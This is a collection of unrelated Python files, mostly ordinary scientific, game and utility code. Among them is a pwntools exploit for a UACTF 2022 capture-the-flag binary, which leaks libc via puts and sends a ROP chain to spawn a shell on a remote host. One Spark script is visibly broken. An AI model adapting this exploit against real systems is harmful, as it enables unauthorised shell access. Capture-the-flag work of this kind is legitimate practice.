            version_list=version_element.attrib.get("list"))

class UserModel(BaseIdentityModel):
    def __init__(
            self, default_region=None, id_=None, name=None, roles_model=None):
        super(UserModel, self).__init__(locals())

    @classmethod
    def _dict_to_obj(cls, data):
        return cls(
            default_region=data.get("RAX-AUTH:defaultRegion"),
            id_=data.get("id"),
            name=data.get("name"),
            roles_model=cls._build_list_model(data, "roles", RoleModel))

    @classmethod
    def _xml_ele_to_obj(cls, data):
        return cls(
            default_region=data.attrib.get("defaultRegion"),
            id_=data.attrib.get("id"),
            name=data.attrib.get("name"),
            roles_model=cls._build_list_model(
                cls._find(data, "roles"), "role", RoleModel))

class RoleModel(BaseIdentityModel):
    def __init__(
        self, description=None, id=None, name=None, tenant_id=None,
            propagate=None):
        super(RoleModel, self).__init__(locals())

    @classmethod
    def _dict_to_obj(cls, data):
        return cls(
            description=data.get("description"),
            id=data.get("id"),
            name=data.get("name"),
            tenant_id=data.get("tenantId"),
            propagate=data.get("rax-auth:propagate"))

    @classmethod
    def _xml_ele_to_obj(cls, data):
        return cls(
            description=data.attrib.get("description"),
            id=data.attrib.get("id"),
            name=data.attrib.get("name"),
            tenant_id=data.attrib.get("tenantId"),
            propagate=data.attrib.get("rax-auth:propagate"))

class TokenModel(BaseIdentityModel):
    def __init__(
        self, expires=None, id_=None, tenant_model=None,
            authenticated_by=None):
        super(TokenModel, self).__init__(locals())

    @classmethod
    def _dict_to_obj(cls, data):
        return cls(
            expires=data.get("expires"),
            id_=data.get("id"),
            tenant_model=TenantModel._dict_to_obj(data.get("tenant")),
            authenticated_by=[x for x in data.get("RAX-AUTH:authenticatedBy")])

    @classmethod
    def _xml_ele_to_obj(cls, data):
        auth_by_ele = cls._find(data, "authenticatedBy")
        return cls(
            expires=data.attrib.get("expires"),
            id_=data.attrib.get("id"),
            tenant_model=TenantModel._dict_to_obj(cls._find(data, "tenant")),
            authenticated_by=[
                x.text for x in list(auth_by_ele) if x.tag == "credential"])

class TenantModel(BaseIdentityModel):
    def __init__(self, id_=None, name=None):
        super(TenantModel, self).__init__(locals())

    @classmethod
    def _dict_to_obj(cls, data):
        return cls(name=data.get("name"), id_=data.get("id"))

    @classmethod
    def _xml_ele_to_obj(cls, data):
        return cls(name=data.attrib.get("name"), id_=data.attrib.get("id"))


import sys

N, M = map(int, sys.stdin.readline().split())
num_arr = list(map(int, sys.stdin.readline().split()))
#수열을 사전 순으로 출력하기 위한 정렬
num_arr.sort()
#한 줄에 출력하는 노드의 중복여부 체크
visited = [False] * N
#리스트의 길이가 M가 같아지면 출력
print_target = []

#백트래킹
def backtracking(M,num_arr,depth):
    if M == depth: #depth가 원하는 출력길이와 같으면 출력
        print(" ".join(map(str,print_target)))
        return
    for i in range(N):
        if not visited[i]:
            visited[i] = True
            print_target.append(num_arr[i])
            backtracking(M,num_arr,depth+1) #원소가 추가될 때 마다 depth를 상승
            visited[i] = False #원상복구
            print_target.pop()

backtracking(M,num_arr,0)


import itertools as it
def is_solution(prem):
    for (i1,i2) in it.combinations(range(len(prem)),2):
        if abs(i1-i2)==abs(prem[i1]-prem[i2]):
            #print("Is not a solution.")
            return False

    #print('its a solution.')
    return True

def bc_tc(prem,n):
    if len(prem) is n:
        print(prem)
        #exit()
        return
    for k in range(n):
        if k not in prem:
            prem.append(k)
            if is_solution(prem):
                bc_tc(prem,n)
            prem.pop()

bc_tc(prem=[],n=5)


# -*- coding: utf-8 -*-#

# -------------------------------------------------------------------------------
# Name:         Monte_Carlo_Example
# Description:  蒙特卡罗方法模拟股票价格
# Author:       orange
# Date:         2021/5/5
# -------------------------------------------------------------------------------

import sys
import datetime
import os
from imp import reload

import matplotlib
import math
import numpy as np
from pyspark import SparkConf

from pyspark.ml.feature import VectorAssembler
from pyspark.ml.regression import LinearRegression
from pyspark.sql import SparkSession
from pyspark.sql.types import StructField, StringType, DoubleType

reload(sys)

def createSpark(appName):
    conf = SparkConf().setAppName(appName)
    conf.set("spark.yarn.queue", "root.bpa.ad_push.kdd")
    #conf.set("spark.rdd.compress", "true")
    #conf.set("spark.broadcast.compress", "true")
    conf.set("spark.executor.instances", '200')
    conf.set("spark.executor.cores", '2') #spark.executor.cores：顾名思义这个参数是用来指定executor的分配更多的内核意味着executor并发能力越强，能够同时执行更多的task
    conf.set('spark.executor.memory', '32g')  #executor memory是每个节点上占用的内存。每一个节点可使用内存
    #conf.set('spark.default.parallelism','4000')
    #conf.set('spark.executor.memoryOverhead','10g')
    #conf.set('spark.dynamicAllocation.initialExecutors','200')
    #conf.set('spark.dynamicAllocation.minExecutors','100')
    #conf.set('spark.dynamicAllocation.maxExecutors','500')
    #conf.set("spark.sql.shuffle.partitions", "500") # 设置shuffle分区数
    #conf.set("spark.driver.maxResultSize", "5g")
    conf.set("spark.sql.hive.mergeFiles", "true")
    conf.set("spark.yarn.appMasterEnv.PYSPARK_PYTHON", "/usr/local/bin/python3.6")
    conf.set("spark.yarn.appMasterEnv.PYSPARK_DRIVER_PYTHON", "/usr/local/bin/python3.6")
    conf.set("spark.executorEnv.PYTHONPATH",
             "/usr/local/anaconda3/bin/python3.6/site-packages:/opt/spark-2.4.3-bin-hadoop2.6/python:/opt/spark-2.4.3-bin-hadoop2.6/python/lib/py4j-0.10.7-src.zip")
    spark = SparkSession.builder.config(conf=conf).enableHiveSupport().getOrCreate()
    return spark

def multiVar(data):
    """ 方便利用已有函数进行cov,以及矩阵运算
    :param data:
    :return:
    """
    covarianceMatrix = np.mat(np.cov(data))
    means = data.mean(axis=1)
    dim = len(means)
    covMatEigenvalues, covMatEigenvectors = np.linalg.eig(covarianceMatrix)
    transposeMatrix = covMatEigenvectors.T
    tmpMatrix = np.copy(transposeMatrix)
    for row in range(0, dim):
        factor = np.sqrt(covMatEigenvalues[row])
        for col in range(0, dim):
            tmpMatrix[row, col] = tmpMatrix[row, col] * factor
    samplingMatrix = np.multiply(tmpMatrix, covMatEigenvectors)
    return means, covarianceMatrix, samplingMatrix

def trialReturns(seed, param, value, means, cov):
    pass

if __name__ == "__main__":
    os.environ['PYSPARK_PYTHON'] = "/usr/local/bin/python3.7"  # 该设置仅在当前程序有效 ,python3.7方式启动时才需
    pt_d=(datetime.datetime.now()+datetime.timedelta(days=-1)).strftime("%Y%m%d")
    pt_drop=(datetime.datetime.now()+datetime.timedelta(days=-5)).strftime("%Y%m%d")
    pt_h=None
    l=len(sys.argv)
    if l>=2:
        pt_d = sys.argv[1]
        if l>=3:
            pt_h = sys.argv[2]
    appName = "dwd_ad_push_device_info_df"
    sc = SparkConf
    spark = createSpark(appName=appName)

    # 读取全部因子数据文件
    data = spark.read.csv("./data/data.csv", header=True)
    data.registerTempTable("data")

    df = spark.sql('select '
                       'cast(label as double) label, '
                       'cast(WTI as double) WTI, '
                       'cast(WTI1 as double) WTI1, '
                       'cast(WTI2 as double) WTI2, '
                       'cast(Bond as double) Bond, '
                       'cast(Bond1 as double) Bond1,'
                       'cast(Bond2 as double) Bond2, '
                       'cast(GSPC as double) GSPC, '
                       'cast(GSPC1 as double) GSPC1, '
                       'cast(GSPC2 as double) GSPC2, '
                       'cast(NDAQ as double) NDAQ,'
                       'cast(NDAQ1 as double) NDAQ1, '
                       'cast(NDAQ2 as double) NDAQ2 '
                   'from data')
    # 由于计算需要使用WTI、Bond、GSPC、NDAQ这几个因子，因此先行处理
    factor = spark.sql('select cast(WTI as double) WTI, cast(Bond as double) Bond, cast(GSPC as double) GSPC, cast(NDAQ as double) NDAQ from data')
    list_factor = []
    list_factor.append(factor.select('WTI').rdd.max(lambda x: x[0]).collect())
    list_factor.append(factor.select('Bond').rdd.max(lambda x: x[0]).collect())
    list_factor.append(factor.select('GSPC').rdd.max(lambda x: x[0]).collect())
    list_factor.append(factor.select('NDAQ').rdd.max(lambda x: x[0]).collect())

    print("全部因子预览")
    df.show(5)
    print(list_factor)

    # 数据准备好之后开始使用OLS最小二乘法进行多元线性回归
    vecAssebler = VectorAssembler(inputCols=["WTI", "WTI1", "WTI2", "Bond", "Bond1", "Bond2", "GSPC", "GSPC1", "GSPC2", "NDAQ", "NDAQ1", "NDAQ2"])
    vecDF = vecAssebler.transform(df)
    lr = LinearRegression(maxIter=5, regParam=0.0, solver="normal")
    model = lr.fit(vecDF)
    factorWeights = []

    # 将模型系数保存到factorWeights列表中
    factorWeights.append(model.coefficients)

    # 进行蒙特卡罗模拟
    data = np.array(list_factor)
    # 计算均值和cov
    means, cov, samplingMatrix = multiVar(data)
    numTrials = 100
    bFactorWeights = sc.broadcast(factorWeights)
    parallelism = 100
    baseSeed = 1496
    seeds = []
    for i in range(baseSeed, baseSeed + parallelism):
        seeds.append(i)
    seedRdd = sc.parallelize(seeds, parallelism)
    trials = seedRdd.flatMap(lambda seed: trialReturns(seed, numTrials/parallelism, bFactorWeights.value, means, cov))
    size = trials.count()

    # VaR And CVaR
    test = trials.takeOrdered(max(size/20), 1)
    VaR = test[-1]
    CVaR = sum(test)/len(test)
    print(VaR)
    print(CVaR)


from pwn import *
if args.LOCAL:
        p = process("./nonosquare")
        elf = ELF("./nonosquare")
        libc = elf.libc
else:
        p = remote("challenges.uactf.com.au",30003)
        elf = ELF("./nonosquare")
        libc = ELF("./nonosquare.so")

context.arch = "amd64"

offset = 56
pop_rdi = p64(0x401343)
ret = p64(0x40101a)

pop_r8 = p64(0x40117e)

setbuf = elf.got['setbuf']
puts_plt = elf.sym['puts']
main = elf.sym['main']

payload = b"A" * offset
payload += pop_rdi
payload += p64(setbuf)
payload += ret
payload += p64(puts_plt)
payload += p64(main)

p.sendline(payload)
p.recvuntil(b"Did you have fun?")
p.recvline()
libc.address = u64(p.recvline().strip().ljust(8,b'\x00')) - libc.sym['setbuf']
success(f"Libc Base Addr: {hex(libc.address)}")

binsh = p64(next(libc.search(b'/bin/sh\x00')))

payload = b"A" * offset
payload += p64(libc.address + 0x15f8c5)
payload += p64(0x3b)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(libc.address + 0x2601f)
payload += p64(0x0)
payload += p64(libc.address + 0x23b6a)
payload += binsh
payload += p64(libc.address + 0x02284d)

pause()
p.sendline(payload)
p.interactive()

UACTF 2022/no no square [PWN]/exploit-nonosquare-remote.py


from gprofiler import GProfiler

#
import sqlite3

import numpy as np
from scipy.stats import mannwhitneyu

from utils.db_init import get_db_cursor
from utils.helpers import find_dmel_orthologs

# const
kDbPath = "../drosophilaDatabase_neop"
orthogroupPath = "../Results_Jun25/WorkingDirectory/OrthoFinder/Results_Aug27/Orthogroups/Orthogroups.txt"

#
c = get_db_cursor(kDbPath)

c.execute("SELECT proxy_rate FROM processed_trees WHERE dup_status IS 'S' AND excludedReason IS NULL AND proxy_rate IS NOT NULL")

rates = list(map(lambda a: a["proxy_rate"], c.fetchall()))

mean = np.mean(rates)
std = np.std(rates)

cutoff = mean + std * 2

c.execute("SELECT id FROM processed_trees WHERE dup_status IS 'S' AND excludedReason IS NULL AND proxy_rate IS NOT NULL AND proxy_rate > :cutoff", { "cutoff": cutoff })

fastevol_suz = list(map(lambda a: a["id"], c.fetchall()))

fastevol = list(map(lambda e: e[:(e.find("|"))], find_dmel_orthologs(orthogroupPath, fastevol_suz)))

# print("\n".join(fastevol))
# exit(1)

print(len(fastevol))

#
background = []
with open("../neopTranslations_forOrthofinder/DMEL.longest_only.faa") as f:
  while True:
    h = f.readline().strip()
    _ = f.readline()

    if h == "":
      break

    if not h.startswith(">"):
      print("incorrect header: {}".format(h))
      break

    g = h[1:]
    gid = g[:(g.find("|"))]

    background.append(gid)

#
single = []

with open("./blast_sin_01") as f:
  while True:
    l = f.readline().strip()

    if l == "":
      break

    single.append(l)

#
other = []

for bg in background:
  if bg not in single:
    other.append(bg)

#
gp = GProfiler(return_dataframe=True)

for (genes, fname) in [(single, "single"), (fastevol, "fastevol"), (other, "other")]:
  for i in range(0, 2):
    underr = False
    if i == 1:
      underr = True

    res = gp.profile(
      query = {
        fname: genes,
      },
      organism = "dmelanogaster",
      sources = ["GO:MF", "GO:CC", "GO:BP", "KEGG", "REAC", "WP"],
      user_threshold = 0.05,
      all_results = False,
      ordered = False,
      no_evidences = True,
      combined = False,
      measure_underrepresentation = underr,
      no_iea = False,
      domain_scope = "annotated",
      numeric_namespace = "ENTREZGENE",
      significance_threshold_method = "fdr",
      # background = background,
    )

  res.to_csv("./out/gprofiler_{}_{}.csv".format(fname, "normal" if not underr else "underr"))
  print(res)

# res2 = gp.profile(
#   query = {
#     "fastevol": fastevol,
#   },
#   organism = "dmelanogaster",
#   sources = ["GO:MF", "GO:CC", "GO:BP", "KEGG", "REAC", "WP"],
#   user_threshold = 0.05,
#   all_results = False,
#   ordered = False,
#   no_evidences = True,
#   combined = False,
#   measure_underrepresentation = False,
#   no_iea = False,
#   domain_scope = "annotated",
#   numeric_namespace = "ENTREZGENE",
#   significance_threshold_method = "fdr",
#   # background = background,
# )

# res2.to_csv("./out/gprofiler_fastevol.csv")
# print(res2)

# res3 = gp.profile(
#   query = {
#     "other": other,
#   },
#   organism = "dmelanogaster",
#   sources = ["GO:MF", "GO:CC", "GO:BP", "KEGG", "REAC", "WP"],
#   user_threshold = 0.05,
#   all_results = False,
#   ordered = False,
#   no_evidences = True,
#   combined = False,
#   measure_underrepresentation = False,
#   no_iea = False,
#   domain_scope = "annotated",
#   numeric_namespace = "ENTREZGENE",
#   significance_threshold_method = "fdr",
#   # background = background,
# )

# res3.to_csv("./out/gprofiler_other.csv")
# print(res3)


"""
Created:  2018-08-08
Modified: 2019-03-07
Author:   Christopher Albert <albert@alumni.tugraz.at>
"""
from numpy import sin, cos, zeros_like, array

B0 = 1.0    # magnetic field modulus normalization
iota0 = 1.0 # constant part of rotational transform
a = 0.5     # (equivalent) minor radius
R0 = 1.0    # (equivalent) major radius

class field:
    """ Model tokamak field with B ~ B0*(1-r/R0*cos(th)) """
    def evaluate(self, r, th, ph):
        cth = cos(th)
        sth = sin(th)
        zer = zeros_like(r)

        self.Ath = B0*(r**2/2.0 - r**3/(3.0*R0)*cth)
        self.dAth = array((B0*(r - r**2/R0*cth), B0*r**3*sth/(3.0*R0), zer))
        self.d2Ath = array((B0*(1.0 - 2.0*r/R0*cth),
                            B0*r**3*cth/(3.0*R0),
                            zer,
                            B0*r**2/R0*sth,
                            zer,
                            zer))

        self.Aph  = -B0*iota0*(r**2/2.0-r**4/(4.0*a**2))
        self.dAph = array((-B0*iota0*(r-r**3/a**2), zer, zer))
        self.d2Aph = array((-B0*iota0*(1.0-3.0*r**2/a**2), zer, zer, zer, zer, zer))

        self.hth  = iota0*(1.0-r**2/a**2)*r**2/R0
        self.dhth = array(((2.0*iota0*r*(a**2-2.0*r**2))/(a**2*R0), zer, zer))
        self.d2hth = array(((2.0*iota0*(a**2-6.0*r**2))/(a**2*R0), zer, zer, zer, zer, zer))

        self.hph  = R0 + r*cth
        self.dhph = array((cth, -r*sth, zer))
        self.d2hph = array((zer, -r*cth, zer, -sth, zer) )

        self.B    = B0*(1.0 - r/R0*cth)
        self.dB   = array((-B0/R0*cth, B0*r/R0*sth, zer))
        self.d2B  = array((zer, B0*r/R0*cth, zer, B0/R0*sth, zer, zer))

        self.Phie = zer
        self.dPhie = array((zer, zer, zer))
        self.d2Phie = array((zer, zer, zer, zer, zer, zer))


# Created by Guilherme Teres Nunes

import bge
from mathutils import Vector
from collections import OrderedDict

try:
	from Scripts.GameUtils import *
except:
	from Source.Scripts.GameUtils import *

class GameController(bge.types.KX_PythonComponent):
	args = OrderedDict([
		("Ball Name"			,""),
		("Ball Deacceleration"	, 0.01),
		("End Point Name"		, "")
	])

	def start(self, args):
		self.ball = self.object.scene.objects[args["Ball Name"]]
		self.endPoint = self.object.scene.objects[args["End Point Name"]]

		self.shootDirection	= None
		self.shootSpeed 	= 1.0

		self.__ballDeacceleration = args["Ball Deacceleration"]

		# To store the Game state:
		#	0 = Waiting the player
		#	1 = Simulating everything
		#	2 = Win/Lose Screen
		self.__state = 0

		self.__aux = False
		self.__auxPos = None

		bge.render.showMouse(True)

		self.__changeColors(True)

		# Loading the Level
		if not "level" in bge.logic.globalDict:
			bge.logic.globalDict["level"] = "level0"

		loadLevel()

		self.__start = [obj for obj in self.object.scene.objects if "startPoint" in obj][0]
		self.__end   = [obj for obj in self.object.scene.objects if "endPoint" in obj][0]

		self.ball.worldPosition = self.__start.worldPosition.copy()
		self.endPoint.worldPosition = self.__end.worldPosition.copy()

	def __changeColors(self, active):
		color = [0.8, 0.0, 0.0, 1.0]
		if active:
			color = [0.0, 0.8, 0.0, 1.0]

		for obj in self.object.scene.objects:
			if "color" in obj:
				obj.color = color

	def __runState0(self):
		mouse = bge.logic.mouse.inputs
		keyTAP = bge.logic.KX_INPUT_JUST_ACTIVATED

		if not self.__aux:
			if mouse[bge.events.LEFTMOUSE].values[-1]:
				obj, mPos = mouseOver("Player")
				if obj == self.ball:
					# Clicked on the player

					self.__aux = True
					self.__auxPos = mPos
		else:
			if not mouse[bge.events.LEFTMOUSE].values[-1]:
				# Released the mouse button (shoot now!)

				_, mPos = mouseOver("")

				self.shootDirection = Vector(mPos) - Vector(self.__auxPos)
				self.shootSpeed = self.shootDirection.length

				if self.shootSpeed == 0.0:
					return
				elif self.shootSpeed >= 1.5:
					self.shootSpeed = 1.5

				self.shootDirection = Vector(
					[self.shootDirection.x, self.shootDirection.y, 0])

				self.shootDirection.y *= -1
				aspect = bge.render.getWindowWidth() / bge.render.getWindowHeight()

				self.shootDirection.x *= aspect

				# Normalizing the vector:
				self.shootDirection /= self.shootDirection.length

				self.__aux = False
				self.__state = 1
				self.__changeColors(False)

	def __runState1(self):
		if self.shootSpeed > 0:
			self.shootSpeed -= self.__ballDeacceleration

			target = self.ball.worldPosition + self.shootDirection
			obHit, obPos, obNormal = self.ball.rayCast(target, self.ball, 1.0,
													   "wall", 1, 1, 0)

			if obHit != None:
				self.shootDirection = self.shootDirection.reflect(obNormal)
				bge.logic.sendMessage("Shake_Small")

				lst = self.object.scene.addObject("Explosion1", self.object, 200)
				scale = self.shootSpeed*2.0
				lst.worldPosition = obPos
				lst.worldScale = [scale, scale, scale]
				lst.alignAxisToVect(obNormal, 2, 1)

			self.ball.applyMovement(self.shootDirection*self.shootSpeed, False)
		else:
			self.__state = 0
			self.__changeColors(True)

	def update(self):
		[self.__runState0, self.__runState1][self.__state]()

		if self.ball.getDistanceTo(self.endPoint) < 1.5:
			self.object.scene.suspend()
			bge.logic.addScene("Menu_GameOver")


import matplotlib.pyplot as plt
import numpy as np
from astropy.io import fits
import glob
import sys
import h5py

data_dir = '/mnt/ceph/users/mbedell/tess/'

def save_all_sc(filenames, out_file):
    N = len(filenames)
    with fits.open(filenames[0]) as hdul:
        time = np.copy(hdul[1].data['TIME']) # assumes all TPFs have the same number of cadences
    M = len(time)

    # read all the files:
    cols = np.empty(N)
    rows = np.empty(N)
    ccds = np.empty(N)
    cameras = np.empty(N)
    bkgs = np.empty((N,M))
    bkg_errs = np.empty((N,M))
    raw_bkgs = np.empty((N,M))
    raw_bkg_errs = np.empty((N,M))
    raw_times = np.empty((N,M))
    raw_qualities = np.empty((N,M))
    bad = [] # store indices that may need deleting
    tenpercent = 1000 # guess
    for i,fn in enumerate(filenames):
        if i//tenpercent == 0:
            print('{0:3.1f}% done'.format(i/N * 100))
        try:
            with fits.open(fn) as hdul:
                cols[i] = np.copy(hdul[1].header['1CRV5P'])
                rows[i] = np.copy(hdul[1].header['2CRV5P'])
                ccds[i] = np.copy(hdul[0].header['CCD'])
                cameras[i] = np.copy(hdul[0].header['CAMERA'])
                # get raw time series:
                bkg = np.copy(hdul[1].data['FLUX_BKG'][:,0,0]) # assumes all pixels get the same bkg
                bkg_err = np.copy(hdul[1].data['FLUX_BKG_ERR'][:,0,0])
                t = np.copy(hdul[1].data['TIME'])
                raw_bkgs[i,:] = np.copy(bkg)
                raw_bkg_errs[i,:] = np.copy(bkg_err)
                raw_times[i,:] = np.copy(t)
                raw_qualities[i,:] = np.copy(hdul[1].data['QUALITY'])
                # interpolate good quality measurements to standard time grid and save:
                q = hdul[1].data['QUALITY'] == 0
                bkgs[i,:] = np.interp(time, t[q], bkg[q])
                bkg_errs[i,:] = np.interp(time, t[q], bkg_err[q])
        except:
            print('WARNING: disregarding file {0}'.format(fn))
            bad.append(i)
    if len(bad) > 0: # remove any files that failed to be read
        cols = np.delete(cols, bad)
        rows = np.delete(rows, bad)
        ccds = np.delete(ccds, bad)
        cameras = np.delete(cameras, bad)
        bkgs = np.delete(bkgs, bad, axis=0)
        bkg_errs = np.delete(bkg_errs, bad, axis=0)
        raw_times = np.delete(raw_times, bad, axis=0)
        raw_bkgs = np.delete(raw_bkgs, bad, axis=0)
        raw_bkg_errs = np.delete(raw_bkg_errs, bad, axis=0)
        raw_qualities = np.delete(raw_qualities, bad, axis=0)

    # save the data:
    bkg = np.nanmedian(bkgs, axis=0)
    with h5py.File(out_file,'w') as f:
        f.create_dataset('cols', data=cols)
        f.create_dataset('rows', data=rows)
        f.create_dataset('ccds', data=ccds)
        f.create_dataset('cameras', data=cameras)
        f.create_dataset('median_bkg', data=bkg)
        f.create_dataset('bkgs', data=bkgs)
        f.create_dataset('bkg_errs', data=bkg_errs)
        f.create_dataset('time', data=time)
        f.create_dataset('raw_times', data=raw_times)
        f.create_dataset('raw_bkgs', data=raw_bkgs)
        f.create_dataset('raw_bkg_errs', data=raw_bkg_errs)
        f.create_dataset('raw_qualities', data=raw_qualities)
    return

if __name__ == "__main__":
    script, sector = sys.argv
    search = data_dir+'s{0:02.0f}/tess*_tp.fits'.format(int(sector))
    print('searching for SC files as {0}'.format(search))
    filenames = glob.glob(search)
    print('reading {0} SC files...'.format(len(filenames)))
    out_file = data_dir+'sector{0:02.0f}.hdf5'.format(int(sector))
    save_all_sc(filenames, out_file)
    print('saved to {0}'.format(out_file))


import requests
import lxml.html

s = requests.session()

r = s.get(url='https://rash.su')

print(r.text)

soup = lxml.html.document_fromstring(r.text)

sale_prefixes = soup.xpath('//li[contains(@class, "menu_top_30  menu_li_30")]/a/@href')
print(sale_prefixes)


import json
import random

import pytest
import requests

class TestKeeperGET:
    @pytest.mark.dependency(
        depends=["test_connection.py::test_keeper_connection"],
        scope="session",
    )
    def test_get_request(self, keeper_url):
        assert requests.get(keeper_url).ok, "The status of the request code is not 200, it should only be 200"

    @pytest.mark.dependency(
        depends=[
            "test_connection.py::test_reaper_connection",
            "test_keeper.py::TestKeeperGET::test_get_request"
        ],
        scope="session",
    )
    @pytest.mark.parametrize('test_input', [('save_data', 'get_data')])
    def test_get_content(self, test_input, keeper_url):
        available_commands = requests.get(keeper_url).json()['available_commands']
        is_same_commands = sorted(available_commands.keys()) == sorted(test_input)
        assert is_same_commands, "Expected commands are not the same as actual available commands, should be same"

    @pytest.mark.dependency(
        depends=[
            "test_connection.py::test_reaper_connection",
            "test_keeper.py::TestKeeperGET::test_get_request"
        ],
        scope="session",
    )
    def test_get_content_help(self, keeper_url):
        available_commands = requests.get(keeper_url).json()['available_commands']
        is_all_help_is_str = all((isinstance(help_content, str) for help_content in available_commands.values()))
        assert is_all_help_is_str, "Help on command is not of str type, should be str"

class TestKeeperAPI:
    @pytest.mark.dependency(
        depends=["test_connection.py::test_keeper_connection"],
        scope="session",
    )
    @pytest.mark.parametrize('test_input,expected', [
        ({
            'command_name': 'get_data',
        }, False),
        ({
            'command_name': 'get_data',
            'data': {}
        }, False),
        ({
            'command_name': 'get_data',
            'data': {
                'test_data': 'data'
            }
        }, True),
    ])
    def test_get_data(self, test_input, expected, keeper_url):
        response = requests.post(keeper_url, json=test_input)
        assert response.ok == expected, "Status code of request should be 200 or 400"

    @pytest.mark.dependency(
        depends=["test_connection.py::test_keeper_connection"],
        scope="session",
    )
    @pytest.mark.parametrize('test_input,expected', [
        ({
             'command_name': 'save_data',
         }, False),
        ({
             'command_name': 'save_data',
             'data': {}
         }, False),
        ({
             'command_name': 'save_data',
             'data': {
                 'test_data': 'data'
             }
         }, True),
    ])
    def test_save_data(self, test_input, expected, keeper_url):
        response = requests.post(keeper_url, json=test_input)
        assert response.ok == expected, "Status code of request should be 200 or 400"


#!/usr/bin/python
# coding=utf-8
import sys
import zipfile
import shutil
import os
import os.path

sys.path.append('../../')
sys.path.append('./')

from Project.Resource import mainResource
from Common.File.ZipUtil import ZipUtil

class AppCode():
# 删除子目录
    def DeleteSubDir(self,sourceDir):
        for file in os.listdir(sourceDir):
            sourceFile = os.path.join(sourceDir,  file)
            #目录嵌套
            if os.path.isdir(sourceFile):
                if file!="CodeZip":
                    shutil.rmtree(sourceFile)

    def GetDirScriptApps(self):
        return mainResource.GetRootUnityAssets() + "/Script/Apps/"

    def GetDirSourceCode(self):
        return self.GetDirScriptApps() + "/" + mainResource.getGameType()

    def GetFileSourceCodeZip(self):
        return mainResource.GetRootUnityAssets() + "/Script/Apps/CodeZip/" + mainResource.getGameType() + ".zip"

    # 备份游戏代码到CodeZip  压缩zip
    def SaveCode(self):
        dir_code = self.GetDirSourceCode()
        file_zip = self.GetFileSourceCodeZip()

        if not os.path.exists(dir_code):
            return

        print(dir_code)
        print(file_zip)

        # 压缩目录
        ZipUtil.zipDir(dir_code,file_zip)

    # 从CodeZip的zip文件里解压到assets目录

    def CopyCode(self):
        dir_code = self.GetDirScriptApps()
        if not os.path.exists(dir_code):
            return

        file_zip = self.GetFileSourceCodeZip()

        print(dir_code)
        print(file_zip)

        self.DeleteSubDir(dir_code)

        flag = os.path.exists(file_zip)
        if flag:
            ZipUtil.un_zip(file_zip,dir_code)
# 主函数的实现
    def Run(self,type):
        gameName = mainResource.getGameName()
        gameType = mainResource.getGameType()

        if type == "save":
            self.SaveCode()

        if type == "copy":
            self.CopyCode()

mainAppCode = AppCode()


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""tests for svd"""

import unittest

import numpy as np

from sknetwork.data import star_wars
from sknetwork.embedding import GSVD, SVD, PCA
from sknetwork.linalg import LanczosSVD

class TestSVD(unittest.TestCase):

    def test_options(self):
        biadjacency = star_wars(metadata=False)
        n_row, n_col = biadjacency.shape
        min_dim = min(n_row, n_col) - 1
        gsvd = GSVD(n_components=5, regularization=0., solver='halko')

        with self.assertWarns(Warning):
            gsvd.fit(biadjacency)
        self.assertEqual(gsvd.embedding_row_.shape, (n_row, min_dim))
        self.assertEqual(gsvd.embedding_col_.shape, (n_col, min_dim))

        gsvd = GSVD(n_components=1, regularization=0.1, solver='lanczos')
        gsvd.fit(biadjacency)
        gsvd.predict(np.random.rand(n_col))

        pca = PCA(n_components=min_dim, solver='lanczos')
        pca.fit(biadjacency)
        self.assertEqual(pca.embedding_row_.shape, (n_row, min_dim))

        svd = SVD(n_components=min_dim, solver=LanczosSVD())
        svd.fit(biadjacency)
        self.assertEqual(svd.embedding_row_.shape, (n_row, min_dim))


# Multiprocessing

import os
import threading
import multiprocessing

############### Example 1 ##################

def print_cube(num):
    print("Cube: {}".format(num * num * num))
    print("print_cube assigned to thread {}".format(threading.current_thread().name))
    print("ID of process running print_cube: {}".format(os.getpid()))

def print_sqr(num):
    print("Square: {}".format(num*num))
    print("print_sqr assigned to thread {}".format(threading.current_thread().name))
    print("ID of process running print_sqr: {}".format(os.getpid()))

############# Example 2 ######################

def sqrList(mylist, result, square_sum):
    #result array given value
    for idx, num in enumerate(mylist):
        result[idx] = num*num
    #square_sum given value
    square_sum.value = sum(result)
    print("ID of process running sqrList: {}".format(os.getpid()))
    print("Result in process p3: {}".format(result[:]))
    print("Sum of squares in process p3: {}".format(square_sum.value))

############# Example 3 ######################

def printRecord(records):
    print("ID of process running printRecord: {}".format(os.getpid()))
    for rcd in records:
        print("Name: {0} Score: {1}\n".format(rcd[0],rcd[1]))

def insertRecord(rcd, records):
    print("ID of process running insertRecord: {}".format(os.getpid()))
    records.append(rcd)
    print("New record {} added!\n".format(rcd[0]))

############# Example 4 ######################

def sqrQueue(mylist, q):
    print("ID of process running setQueue: {}".format(os.getpid()))
    for num in mylist:
        q.put(num*num)

def printQueue(q):
    print("ID of process running printQueue: {}".format(os.getpid()))
    print("Queue elements:")
    while not q.empty():
        print(q.get())
    print("Queue is now empty!")

############# Example 5 ######################

def sender(conn,msgs):
    print("ID of process running sender: {}".format(os.getpid()))
    for m in msgs:
        #use send() method to send message from one end of pipe
        conn.send(m)
        print("Send the message:",m)
    conn.close()

def receiver(conn):
    print("ID of process running receiver: {}".format(os.getpid()))
    while 1:
        #use recv() method to receive message at the other end of pipe
        msg = conn.recv()
        if msg == "END":
            break
        print("Received the message:",msg)

############# Example 6 ######################

# Withdraw from account
def withdraw(balance):
    print("ID of process running withdraw: {}".format(os.getpid()))
    for _ in range(10000):
        balance.value = balance.value - 1

# Deposit to account
def deposit(balance):
    print("ID of process running deposit: {}".format(os.getpid()))
    for _ in range(10000):
        balance.value = balance.value +1

# Perform transactions
def perform_transactions():
    #initial balance
    balance = multiprocessing.Value('i',100)

    pA = multiprocessing.Process(target = withdraw, args=(balance,))
    pB = multiprocessing.Process(target = deposit, args=(balance,))

    pA.start()
    pB.start()

    pA.join()
    pB.join()

    print("Final Balance:",balance.value)

############# Example 7 ######################

# Withdraw from account
def withdraw_withLock(balance, lock):
    print("ID of process running withdraw: {}".format(os.getpid()))
    for _ in range(10000):
        lock.acquire()
        balance.value = balance.value - 1
        lock.release()

# Deposit to account
def deposit_withLock(balance, lock):
    print("ID of process running deposit: {}".format(os.getpid()))
    for _ in range(10000):
        lock.acquire()
        balance.value = balance.value +1
        lock.release()

# Perform transactions
def perform_transactions_withLock():
    #initial balance
    balance = multiprocessing.Value('i',100)

    lock = multiprocessing.Lock()

    pC = multiprocessing.Process(target = withdraw_withLock, args=(balance,lock))
    pD = multiprocessing.Process(target = deposit_withLock, args=(balance,lock))

